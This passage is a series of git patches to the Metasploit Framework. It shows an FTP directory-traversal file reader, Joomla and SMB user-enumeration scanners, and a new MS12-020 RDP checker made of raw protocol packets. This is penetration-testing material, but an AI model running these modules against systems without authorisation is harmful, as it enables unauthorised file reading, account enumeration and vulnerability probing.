modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb rename to modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index 476ccc65f2..e28eaa0562 100644 --- a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner def proto 'ftp' @@ -28,7 +29,11 @@ class Metasploit3 < Msf::Auxiliary Although the daemon runs with SYSTEM privileges, access is limited to files that reside on the same drive as the FTP server's root directory. }, - 'Author' => 'jduck', + 'Author' => + [ + 'jduck', + 'Brandon McCann @zeknox <bmccann[at]accuvant.com>', + ], 'License' => MSF_LICENSE, 'References' => [ @@ -47,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary end - def run + def run_host(ip) connect_login @@ -55,7 +60,8 @@ class Metasploit3 < Msf::Auxiliary res = send_cmd( ['XCRC', path, "0", "9999999999"], true ) if not (res =~ /501 Syntax error in parameters or arguments\. EndPos of 9999999999 is larger than file size (.*)\./) - raise RuntimeError, "Unable to obtain file size! File probably doesn't exist." + print_error("Unable to obtain file size! File probably doesn't exist.") + return end file_size = $1.to_i From 16390e31c60a2c40151995f3e09b1c4d5de63c04 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Thu, 24 Jan 2013 15:48:04 -0600 Subject: [PATCH 69/87] Attempt to make travis useful again Lowers the history depth from the default of 100. --- .travis.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.travis.yml b/.travis.yml index 6411d11c22..6b74b25154 100644 --- a/.travis.yml +++ b/.travis.yml @@ -6,3 +6,5 @@ rvm: notifications: irc: "irc.freenode.org#msfnotify" +git: + depth: 1 From dd1ce34ecc202d865f724984c7bb55f6ba17dbaa Mon Sep 17 00:00:00 2001 From: f8lerror <f8lerror+git@gmail.com> Date: Thu, 24 Jan 2013 17:04:22 -0500 Subject: [PATCH 70/87] Made recommended changes removed short timeout added returns and other small changes --- .../auxiliary/scanner/http/joomla_vulnscan.rb | 49 ++++++++++--------- 1 file changed, 27 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 1c465719f1..2ad9d2f040 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module scans a Joomla install for information, plugins and potential vulnerabilites. }, - 'Author' => [ 'f8lerror' ], + 'Author' => [ 'newpid0' ], 'License' => MSF_LICENSE ) register_options( @@ -101,22 +101,23 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] + vprint_status("#{peer} - Checking Joomla version") apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort break if app_status end - vprint_status("#{peer} - Checking host for interesting pages") + vprint_status("#{peer} - Checking for interesting pages") iapps.each do |iapp| scan_pages(tpath,iapp,ip) end if datastore['ENUMERATE'] - vprint_status("#{peer} - Checking host for interesting plugins") + vprint_status("#{peer} - Checking for interesting plugins") bres = send_request_cgi({ 'uri' => tpath, 'method' => 'GET', }, 5) - return false if not bres or not bres.body or not bres.code + return if not bres or not bres.body or not bres.code bres.body.gsub!(/[\r|\n]/, ' ') File.open(datastore['PLUGINS'], 'rb').each_line do |bapp| papp = bapp.chomp @@ -129,10 +130,9 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => "#{tpath}" << app, 'method' => 'GET', - }, 5) + }) return :abort if res.nil? - return false if not res or not res.body or not res.code - vprint_status("#{peer} - Checking host for version information") + return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) if (res.code == 200) @@ -151,7 +151,7 @@ class Metasploit3 < Msf::Auxiliary :ntype => 'Joomla Version', :data => out ) - return :next_app + return true end elsif(res.code == 403) if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) @@ -163,25 +163,26 @@ class Metasploit3 < Msf::Auxiliary else vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") end - + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end def scan_pages(tpath, iapp, ip) res = send_request_cgi({ 'uri' => "#{tpath}" << iapp, 'method' => 'GET', - }, 5) - return false if not res or not res.body or not res.code + }) + return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') if (res.code == 200) if(res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) @@ -213,23 +214,25 @@ class Metasploit3 < Msf::Auxiliary else vprint_status("#{ip} ip access to #{ip} #{res.code} #{res.message}") end + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end def plugin_search(tpath, papp, ip, bres) res = send_request_cgi({ 'uri' => "#{tpath}" << papp, 'method' => 'GET', - }, 5) + }) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') osize = bres.body.size @@ -279,18 +282,20 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{ip} requires a SSL client certificate") else vprint_status("#{ip} denied access to #{ip}#{tpath}#{papp} - #{res.code} #{res.message}") - end + end + else + return end rescue OpenSSL::SSL::SSLError vprint_error("#{peer} - SSL error") - return :abort + return rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError vprint_error("#{peer} - Unable to Connect") - return :abort + return rescue ::Timeout::Error, ::Errno::EPIPE vprint_error("#{peer} - Timeout error") - return :abort + return end From 27aae87c1884740bbbb391fef9fc8960bf6652d2 Mon Sep 17 00:00:00 2001 From: Rob Fuller <jd.mubix@gmail.com> Date: Thu, 24 Jan 2013 22:06:51 -0500 Subject: [PATCH 71/87] Stop aggravating default show screenshot A better fix would have it detect default browsers as being text only like lynx. But this has got to go one way or another. Loosing shell because I forgot to do -v false is wall punch worthy --- .../post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 37386cad66..6c4bd90f17 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -129,7 +129,7 @@ class Console::CommandDispatcher::Stdapi::Ui def cmd_screenshot( *args ) path = Rex::Text.rand_text_alpha(8) + ".jpeg" quality = 50 - view = true + view = false screenshot_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help Banner." ], From a9821fce290c5311a3e8b74b34d6df7044cff02c Mon Sep 17 00:00:00 2001 From: Rob Fuller <jd.mubix@gmail.com> Date: Fri, 25 Jan 2013 02:08:30 -0500 Subject: [PATCH 72/87] add action option for domain user enum --- .../auxiliary/scanner/smb/smb_lookupsid.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 8ffe83a4bb..44fdf478d0 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -27,14 +27,21 @@ class Metasploit3 < Msf::Auxiliary 'Description' => 'Determine what local users exist via brute force SID lookups', 'Author' => 'hdm', 'License' => MSF_LICENSE, - 'DefaultOptions' => { - 'DCERPC::fake_bind_multi' => false - } + 'DefaultOptions' => + { + 'DCERPC::fake_bind_multi' => false + }, + 'Actions' => + [ + ['LOCAL', { 'Description' => 'Enumerate local accounts' } ], + ['DOMAIN', { 'Description' => 'Enumerate domain accounts' } ] + ], + 'DefaultAction' => 'LOCAL' ) register_options( [ - OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]) + OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]), ], self.class ) @@ -206,6 +213,8 @@ class Metasploit3 < Msf::Auxiliary :groups => {} } + target_sid = host_sid if action.name =~ /LOCAL/i + target_sid = domain_sid if action.name =~ /DOMAIN/i # Brute force through a common RID range 500.upto(datastore['MaxRID'].to_i) do |rid| @@ -216,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(host_sid) + + smb_pack_sid(target_side) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + From 976e59954c7d4403bbae176e88e9a3a72073796e Mon Sep 17 00:00:00 2001 From: Rob Fuller <jd.mubix@gmail.com> Date: Fri, 25 Jan 2013 02:14:42 -0500 Subject: [PATCH 73/87] update description --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 44fdf478d0..9a7c83fa4c 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -24,7 +24,9 @@ class Metasploit3 < Msf::Auxiliary def initialize super( 'Name' => 'SMB Local User Enumeration (LookupSid)', - 'Description' => 'Determine what local users exist via brute force SID lookups', + 'Description' => 'Determine what users exist via brute force SID lookups. + This module can enumerate both local and domain accounts by setting + ACTION to either LOCAL or DOMAIN', 'Author' => 'hdm', 'License' => MSF_LICENSE, 'DefaultOptions' => From a204f6fd1b493f859478f082cf077bcff6013f30 Mon Sep 17 00:00:00 2001 From: Rob Fuller <jd.mubix@gmail.com> Date: Fri, 25 Jan 2013 02:18:20 -0500 Subject: [PATCH 74/87] variable typo --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 9a7c83fa4c..28b431e5a8 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -227,7 +227,7 @@ class Metasploit3 < Msf::Auxiliary NDR.long(1) + NDR.long(rand(0x10000000)) + NDR.long(5) + - smb_pack_sid(target_side) + + smb_pack_sid(target_sid) + NDR.long(rid) + NDR.long(0) + NDR.long(0) + From e32bd8d4e0e19493c461f0c71f00798de2ddd901 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 25 Jan 2013 11:44:08 +0100 Subject: [PATCH 75/87] Comma deleted --- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 28b431e5a8..346f6f04ac 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]), + OptInt.new('MaxRID', [ false, "Maximum RID to check", 4000 ]) ], self.class ) From fc3d87ed4cdeadd1e43c94d6a743e1a1f1c3ded2 Mon Sep 17 00:00:00 2001 From: Brandon McCann <mccann.brandon@gmail.com> Date: Fri, 25 Jan 2013 10:43:43 -0600 Subject: [PATCH 76/87] added ms12-020 checker --- .../auxiliary/scanner/rdp/ms12-02_check.rb | 194 ++++++++++++++++++ 1 file changed, 194 insertions(+) create mode 100644 modules/auxiliary/scanner/rdp/ms12-02_check.rb diff --git a/modules/auxiliary/scanner/rdp/ms12-02_check.rb b/modules/auxiliary/scanner/rdp/ms12-02_check.rb new file mode 100644 index 0000000000..da7d458962 --- /dev/null +++ b/modules/auxiliary/scanner/rdp/ms12-02_check.rb @@ -0,0 +1,194 @@ + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS12-020 Microsoft Remote Desktop Checker', + 'Description' => %q{ + This module checks a range of hosts for the MS12-020 vulnerability. + This does not cause a DoS on the target. + }, + 'References' => + [ + [ 'CVE', '2012-0002' ], + [ 'MSB', 'MS12-020' ], + [ 'URL', 'http://technet.microsoft.com/en-us/security/bulletin/ms12-020' ], + [ 'EDB', '18606' ], + [ 'URL', 'https://svn.nmap.org/nmap/scripts/rdp-vuln-ms12-020.nse' ] + ], + 'Author' => + [ + 'Royce Davis @R3dy_ <rdavis[at]accuvant.com>', + 'Brandon McCann @zeknox <bmccann[at]accuvant.com>' + ], + 'License' => MSF_LICENSE, + )) + + register_options( + [ + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]), + ], self.class) + end + + def checkRdp(packet) + # code to check if RDP is open or not + vprint_status("#{peer} - Verifying RDP Protocol") + begin + # send connection + sock.put(packet) + # read packet to see if its rdp + res = sock.recv(1024) + + if res.unpack("H*").join == "0300000b06d00000123400" + return true + else + return false + end + rescue + print_error("could not connect to RHOST") + return false + end + end + + def connectionRequest() + packet = '' + + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options + return packet + end + + def report_goods + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :name => 'The MS12-020 Checker', + :vuln => 'Confirmaiton that this host is vulnerable to MS12-020', + :refs => self.references, + :exploited_at => Time.now.utc + ) + end + + def connectInitial() + packet = '' + + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData + return packet + end + + def userRequest() + packet = '' + + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents + return packet + end + + def channelRequestOne + packet = '' + + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + return packet + end + + def channelRequestTwo + packet = '' + + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" + return packet + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + begin + # open connection + connect() + rescue + return + end + + # check if rdp is open + if checkRdp(connectionRequest) + + # send connectInitial + sock.put(connectInitial) + # send userRequest + sock.put(userRequest) + user1_res = sock.recv(1024) + # send 2nd userRequest + sock.put(userRequest) + user2_res = sock.recv(1024) + # send channel request one + sock.put(channelRequestOne) + channel_one_res = sock.recv(1024) + if channel_one_res.unpack("H*").to_s[16..19] == '3e00' + # vulnerable + print_good("#{peer} - Vulnerable MS12-020") + report_goods + + # send ChannelRequestTwo - prevent bsod + sock.put(channelRequestTwo) + + # report to the database + else + vprint_error("#{peer} - Not Vulnerable") + end + + end + # close connection + disconnect() + end + +end + From 8578e7cf8541cee0bf542fcf5a07c5d3ccc7ec73 Mon Sep 17 00:00:00 2001 From: Brandon McCann <mccann.brandon@gmail.com> Date: Fri, 25 Jan 2013 11:55:54 -0600 Subject: [PATCH 77/87] renamed file --- .../auxiliary/scanner/rdp/{ms12-02_check.rb => ms12-020_check.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/rdp/{ms12-02_check.rb => ms12-020_check.rb} (100%) diff --git a/modules/auxiliary/scanner/rdp/ms12-02_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb similarity index 100% rename from modules/auxiliary/scanner/rdp/ms12-02_check.rb rename to modules/auxiliary/scanner/rdp/ms12-020_check.rb From 3742fd5a17c909303c76162c71468b4083017b74 Mon Sep 17 00:00:00 2001 From: Brandon McCann <mccann.brandon@gmail.com> Date: Fri, 25 Jan 2013 11:58:04 -0600 Subject: [PATCH 78/87] duplicate include --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index da7d458962..5e2aa8dcc4 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -4,7 +4,6 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report From 4824d11ff37e1e89e02c9c270d4ae1c70229d1a7 Mon Sep 17 00:00:00 2001 From: Brandon McCann <mccann.brandon@gmail.com> Date: Fri, 25 Jan 2013 12:14:41 -0600 Subject: [PATCH 79/87] removed white space --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 5e2aa8dcc4..cd991f7005 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -1,5 +1,3 @@ - - require 'msf/core' class Metasploit3 < Msf::Auxiliary From 7d4e7676ced690dd1851070e22e01edc103b0ded Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Fri, 25 Jan 2013 13:04:20 -0600 Subject: [PATCH 80/87] This file has a MSF license, needs the header --- modules/auxiliary/scanner/rdp/ms12-020_check.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index cd991f7005..5d3ef51859 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' class Metasploit3 < Msf::Auxiliary @@ -31,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]), + OptInt.new('RPORT', [ true, 'Remote port running RDP', '3389' ]) ], self.class) end From 0a4fadcb098d2eadc7a646bb8be101b91ee8a4c2 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Fri, 25 Jan 2013 13:07:13 -0600 Subject: [PATCH 81/87] Comments don't seem to align properly w/ tabs --- .../auxiliary/scanner/rdp/ms12-020_check.rb | 92 +++++++++---------- 1 file changed, 46 insertions(+), 46 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 5d3ef51859..93dc4bc58a 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -64,13 +64,13 @@ class Metasploit3 < Msf::Auxiliary def connectionRequest() packet = '' + - "\x03\x00" + # TPKT Header version 03, reserved 0 - "\x00\x0b" + # Length - "\x06" + # X.224 Data TPDU length - "\xe0" + # X.224 Type (Connection request) - "\x00\x00" + # dst reference - "\x00\x00" + # src reference - "\x00" # class and options + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options return packet end @@ -88,49 +88,49 @@ class Metasploit3 < Msf::Auxiliary def connectInitial() packet = '' + - "\x03\x00\x00\x65" + # TPKT Header - "\x02\xf0\x80" + # Data TPDU, EOT - "\x7f\x65\x5b" + # Connect-Initial - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # callingDomainSelector - "\x01\x01\xff" + # upwardFlag - "\x30\x19" + # targetParams + size - "\x02\x01\x22" + # maxChannelIds - "\x02\x01\x20" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x18" + # minParams + size - "\x02\x01\x01" + # maxChannelIds - "\x02\x01\x01" + # maxUserIds - "\x02\x01\x01" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x01\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maxParams + size - "\x02\x01\xff" + # maxChannelIds - "\x02\x01\xff" + # maxUserIds - "\x02\x01\xff" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x04\x00" # userData + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData return packet end def userRequest() packet = '' + - "\x03\x00" + # header - "\x00\x08" + # length - "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) - "\x28" # PER encoded PDU contents + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents return packet end @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary channel_one_res = sock.recv(1024) if channel_one_res.unpack("H*").to_s[16..19] == '3e00' # vulnerable - print_good("#{peer} - Vulnerable MS12-020") + print_good("#{peer} - Vulnerable to MS12-020") report_goods # send ChannelRequestTwo - prevent bsod From 0490b4a853a076ef11e88b8f10fffa1d4603c5c0 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Fri, 25 Jan 2013 13:18:28 -0600 Subject: [PATCH 82/87] I wanna know where this thing is stored. --- modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb index e28eaa0562..abe5c91903 100644 --- a/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb +++ b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb @@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary fname = datastore['PATH'].gsub(/[\/\\]/, '_') p = store_loot("titanftp.traversal", "text/plain", "rhost", file_data, fname) + print_status("Saved in: #{p}") vprint_status(file_data.inspect) disconnect From d6e9f891ea566c316cf398abe0a507019544a28d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 25 Jan 2013 20:44:49 +0100 Subject: [PATCH 83/87] Proposal for joomla-scanner --- .../auxiliary/scanner/http/joomla_pages.rb | 109 +++++++ .../auxiliary/scanner/http/joomla_plugins.rb | 175 ++++++++++ .../auxiliary/scanner/http/joomla_version.rb | 176 ++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 303 ------------------ 4 files changed, 460 insertions(+), 303 deletions(-) create mode 100755 modules/auxiliary/scanner/http/joomla_pages.rb create mode 100755 modules/auxiliary/scanner/http/joomla_plugins.rb create mode 100755 modules/auxiliary/scanner/http/joomla_version.rb delete mode 100755 modules/auxiliary/scanner/http/joomla_vulnscan.rb diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb new file mode 100755 index 0000000000..77218063a5 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Huge thanks to @zeroSteiner for helping me. Also thanks to @kaospunk. Finally thanks to + # Joomscan and various MSF modules for code examples. + def initialize + super( + 'Name' => 'Joomla Version Scanner', + 'Description' => %q{ + This module scans a Joomla install for common pages. + }, + 'Author' => [ 'newpid0' ], + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def run_host(ip) + tpath = normalize_uri(target_uri.path) + if tpath[-1,1] != '/' + tpath += '/' + end + + pages = [ + 'robots.txt', + 'administrator/index.php', + 'admin/', + 'index.php/using-joomla/extensions/components/users-component/registration-form', + 'index.php/component/users/?view=registration', + 'htaccess.txt' + ] + + vprint_status("#{peer} - Checking for interesting pages") + pages.each do |page| + scan_pages(tpath, page, ip) + end + + end + + def scan_pages(tpath, page, ip) + res = send_request_cgi({ + 'uri' => "#{tpath}#{page}", + 'method' => 'GET', + }) + return if not res or not res.body or not res.code + res.body.gsub!(/[\r|\n]/, ' ') + + if (res.code == 200) + note = "Page Found" + if (res.body =~ /Administration Login/ and res.body =~ /\(\'form-login\'\)\.submit/ or res.body =~/administration console/) + note = "Administrator Login Page" + elsif (res.body =~/Registration/ and res.body =~/class="validate">Register<\/button>/) + note = "Registration Page" + end + + print_good("#{peer} - #{note}: #{tpath}#{page}") + + report_note( + :host => ip, + :port => 